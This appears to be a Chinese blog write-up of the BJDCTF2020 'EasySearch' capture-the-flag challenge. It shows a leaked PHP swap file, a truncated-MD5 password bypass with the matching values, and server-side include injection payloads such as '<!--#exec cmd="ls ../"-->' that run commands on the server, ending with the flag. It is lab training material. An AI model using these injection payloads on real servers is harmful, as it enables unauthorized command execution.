BJDCTF2020 EasySearch 1

#目录扫描 #SSI注入

前置知识

[[SSI注入]] 怎么知道哪里会产生ssi 这里我单开文章

做题

扫目录 得index.php.swp文件
去访问 得到
请添加图片描述

看到".shtml" ssi注入 注入点也提示了

Hello,‘.$_POST[‘username’].’

查看页面源码
请添加图片描述

<?php

    ob_start();

    function get_hash(){

        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';

        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times

        $content = uniqid().$random;

        return sha1($content);

    }

    header("Content-Type: text/html;charset=utf-8");

    ***

    if(isset($_POST['username']) and $_POST['username'] != '' )

    {

        $admin = '6d0bc1';

        if ( $admin == substr(md5($_POST['password']),0,6)) {

            echo "<script>alert('[+] Welcome to manage system')</script>";

            $file_shtml = "public/".get_hash().".shtml";

            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");

            $text = '

            ***

            ***

            <h1>Hello,'.$_POST['username'].'</h1>

            ***

            ***';

            fwrite($shtml,$text);

            fclose($shtml);

            ***

            echo "[!] Header  error ...";

        } else {

            echo "<script>alert('[!] Failed')</script>";

    }else

    {

    ***

    }

  
?>

解决MD5截断

我们看这两句

        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6))

显然是MD5截断比较
找到匹配的数字: 656937371
找到匹配的数字: 813355791

我们post传 password=656937371

请添加图片描述

解决ssi文件问题

在这个题中,要做到ssi服务端包含,我们就要去到我们创建的 .shtml页面从而让服务端解析这个页面,执行ssi指令
下面是详细操作:

我们post传username
跟据

<!--#exec cmd="command" -->

我们构造username=<!--#exec cmd="ls" -->

请添加图片描述

看到响应中有url public/f9ec8358858395b9d598ad30b0d6b2b672ba6b60.shtml

我们去访问
得到
请添加图片描述

注意 这里我们可以回想一下前面的代码

function get_hash(){

        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';

        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times

        $content = uniqid().$random;

        return sha1($content);

    }

它会每次进行我们post传参时随机创建新的文件名

 $file_shtml = "public/".get_hash().".shtml";

所以每次我们进行命令执行时都要像刚才那样在响应中找到新的url (即上面所说的 我们需要服务端解析的文件->以达到执行我们ssi指令的目的)

因为没有在这发现flag
我们改一下命令 去看看上一级

username=<!--#exec cmd="ls ../"-->&password=656937371

请添加图片描述

去访问 flag_990c66bf85a09c664f0b6741840499b2

请添加图片描述

得到flag

flag{7ae95aea-c092-4445-b50e-8a2965bfe955}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值